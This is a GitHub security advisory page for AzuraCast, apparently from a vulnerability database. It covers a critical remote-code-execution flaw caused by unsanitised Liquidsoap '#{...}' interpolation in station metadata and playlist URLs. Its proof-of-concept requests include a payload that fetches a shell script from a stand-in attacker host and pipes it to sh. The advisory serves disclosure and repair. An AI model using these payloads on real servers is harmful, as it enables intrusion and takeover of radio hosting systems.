GHSA-93FX-5QGC-WR38

Vulnerability from github – Published: 2026-03-09 19:55 – Updated: 2026-03-09 19:55
VLAI
Summary
AzuraCast: RCE via Liquidsoap string interpolation injection in station metadata and playlist URLs
Details

Summary

AzuraCast's ConfigWriter::cleanUpString() method fails to sanitize Liquidsoap string interpolation sequences (#{...}), allowing authenticated users with StationPermissions::Media or StationPermissions::Profile permissions to inject arbitrary Liquidsoap code into the generated configuration file. When the station is restarted and Liquidsoap parses the config, #{...} expressions are evaluated, enabling arbitrary command execution via Liquidsoap's process.run() function.

Root Cause

File: backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php, line ~1345

public static function cleanUpString(?string $string): string
{
    return str_replace(['"', "\n", "\r"], ['\'', '', ''], $string ?? '');
}

This function only replaces " with ' and strips newlines. It does NOT filter: - #{...} — Liquidsoap string interpolation (evaluated as code inside double-quoted strings) - \ — Backslash escape character

Liquidsoap, like Ruby, evaluates #{expression} inside double-quoted strings. process.run() in Liquidsoap executes shell commands.

Injection Points

All user-controllable fields that pass through cleanUpString() and are embedded in double-quoted strings in the .liq config:

Field Permission Required Config Line
playlist.remote_url Media input.http("...") or playlist("...")
station.name Profile name = "..."
station.description Profile description = "..."
station.genre Profile genre = "..."
station.url Profile url = "..."
backend_config.live_broadcast_text Profile settings.azuracast.live_broadcast_text := "..."
backend_config.dj_mount_point Profile input.harbor("...")

PoC 1: Via Remote Playlist URL (Media permission)

POST /api/station/1/playlists HTTP/1.1
Content-Type: application/json
Authorization: Bearer <API_KEY_WITH_MEDIA_PERMISSION>

{
    "name": "Malicious Remote",
    "source": "remote_url",
    "remote_url": "http://x#{process.run('id > /tmp/pwned')}.example.com/stream",
    "remote_type": "stream",
    "is_enabled": true
}

The generated liquidsoap.liq will contain:

mksafe(buffer(buffer=5., input.http("http://x#{process.run('id > /tmp/pwned')}.example.com/stream")))

When Liquidsoap parses this, process.run('id > /tmp/pwned') executes as the azuracast user.

PoC 2: Via Station Description (Profile permission)

PUT /api/station/1/profile/edit HTTP/1.1
Content-Type: application/json
Authorization: Bearer <API_KEY_WITH_PROFILE_PERMISSION>

{
    "name": "My Station",
    "description": "#{process.run('curl http://attacker.com/shell.sh | sh')}"
}

Generates:

description = "#{process.run('curl http://attacker.com/shell.sh | sh')}"

Trigger Condition

The injection fires when the station is restarted, which happens during: - Normal station restart by any user with Broadcasting permission - System updates and maintenance - azuracast:radio:restart CLI command - Docker container restarts

Impact

  • Severity: Critical
  • Authentication: Required — any station-level user with Media or Profile permission
  • Impact: Full RCE on the AzuraCast server as the azuracast user
  • CWE: CWE-94 (Code Injection)

Recommended Fix

Update cleanUpString() to escape # and \:

public static function cleanUpString(?string $string): string
{
    return str_replace(
        ['"', "\n", "\r", '\\', '#'],
        ['\'', '', '', '\\\\', '\\#'],
        $string ?? ''
    );
}
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.23.3"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "azuracast/azuracast"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.23.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-09T19:55:00Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nAzuraCast\u0027s `ConfigWriter::cleanUpString()` method fails to sanitize Liquidsoap string interpolation sequences (`#{...}`), allowing authenticated users with `StationPermissions::Media` or `StationPermissions::Profile` permissions to inject arbitrary Liquidsoap code into the generated configuration file. When the station is restarted and Liquidsoap parses the config, `#{...}` expressions are evaluated, enabling arbitrary command execution via Liquidsoap\u0027s `process.run()` function.\n\n## Root Cause\n\n**File:** `backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php`, line ~1345\n\n```php\npublic static function cleanUpString(?string $string): string\n{\n    return str_replace([\u0027\"\u0027, \"\\n\", \"\\r\"], [\u0027\\\u0027\u0027, \u0027\u0027, \u0027\u0027], $string ?? \u0027\u0027);\n}\n```\n\nThis function only replaces `\"` with `\u0027` and strips newlines. It does **NOT** filter:\n- `#{...}` \u2014 Liquidsoap string interpolation (evaluated as code inside double-quoted strings)\n- `\\` \u2014 Backslash escape character\n\nLiquidsoap, like Ruby, evaluates `#{expression}` inside double-quoted strings. `process.run()` in Liquidsoap executes shell commands.\n\n## Injection Points\n\nAll user-controllable fields that pass through `cleanUpString()` and are embedded in double-quoted strings in the `.liq` config:\n\n| Field | Permission Required | Config Line |\n|---|---|---|\n| `playlist.remote_url` | `Media` | `input.http(\"...\")` or `playlist(\"...\")` |\n| `station.name` | `Profile` | `name = \"...\"` |\n| `station.description` | `Profile` | `description = \"...\"` |\n| `station.genre` | `Profile` | `genre = \"...\"` |\n| `station.url` | `Profile` | `url = \"...\"` |\n| `backend_config.live_broadcast_text` | `Profile` | `settings.azuracast.live_broadcast_text := \"...\"` |\n| `backend_config.dj_mount_point` | `Profile` | `input.harbor(\"...\")` |\n\n## PoC 1: Via Remote Playlist URL (Media permission)\n\n```http\nPOST /api/station/1/playlists HTTP/1.1\nContent-Type: application/json\nAuthorization: Bearer \u003cAPI_KEY_WITH_MEDIA_PERMISSION\u003e\n\n{\n    \"name\": \"Malicious Remote\",\n    \"source\": \"remote_url\",\n    \"remote_url\": \"http://x#{process.run(\u0027id \u003e /tmp/pwned\u0027)}.example.com/stream\",\n    \"remote_type\": \"stream\",\n    \"is_enabled\": true\n}\n```\n\nThe generated `liquidsoap.liq` will contain:\n```liquidsoap\nmksafe(buffer(buffer=5., input.http(\"http://x#{process.run(\u0027id \u003e /tmp/pwned\u0027)}.example.com/stream\")))\n```\n\nWhen Liquidsoap parses this, `process.run(\u0027id \u003e /tmp/pwned\u0027)` executes as the `azuracast` user.\n\n## PoC 2: Via Station Description (Profile permission)\n\n```http\nPUT /api/station/1/profile/edit HTTP/1.1\nContent-Type: application/json\nAuthorization: Bearer \u003cAPI_KEY_WITH_PROFILE_PERMISSION\u003e\n\n{\n    \"name\": \"My Station\",\n    \"description\": \"#{process.run(\u0027curl http://attacker.com/shell.sh | sh\u0027)}\"\n}\n```\n\nGenerates:\n```liquidsoap\ndescription = \"#{process.run(\u0027curl http://attacker.com/shell.sh | sh\u0027)}\"\n```\n\n## Trigger Condition\n\nThe injection fires when the station is restarted, which happens during:\n- Normal station restart by any user with `Broadcasting` permission\n- System updates and maintenance\n- `azuracast:radio:restart` CLI command\n- Docker container restarts\n\n## Impact\n\n- **Severity:** Critical\n- **Authentication:** Required \u2014 any station-level user with `Media` or `Profile` permission\n- **Impact:** Full RCE on the AzuraCast server as the `azuracast` user\n- **CWE:** CWE-94 (Code Injection)\n\n## Recommended Fix\n\nUpdate `cleanUpString()` to escape `#` and `\\`:\n\n```php\npublic static function cleanUpString(?string $string): string\n{\n    return str_replace(\n        [\u0027\"\u0027, \"\\n\", \"\\r\", \u0027\\\\\u0027, \u0027#\u0027],\n        [\u0027\\\u0027\u0027, \u0027\u0027, \u0027\u0027, \u0027\\\\\\\\\u0027, \u0027\\\\#\u0027],\n        $string ?? \u0027\u0027\n    );\n}\n```",
  "id": "GHSA-93fx-5qgc-wr38",
  "modified": "2026-03-09T19:55:00Z",
  "published": "2026-03-09T19:55:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-93fx-5qgc-wr38"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AzuraCast/AzuraCast/commit/d04b5c55ce0d867bcb87f49f7082bf8edbcd360c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AzuraCast/AzuraCast/commit/ff49ef4d0fa571a3661abff6d0a9546ba3ed5df5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/AzuraCast/AzuraCast"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AzuraCast/AzuraCast/releases/tag/0.23.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AzuraCast: RCE via Liquidsoap string interpolation injection in station metadata and playlist URLs"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.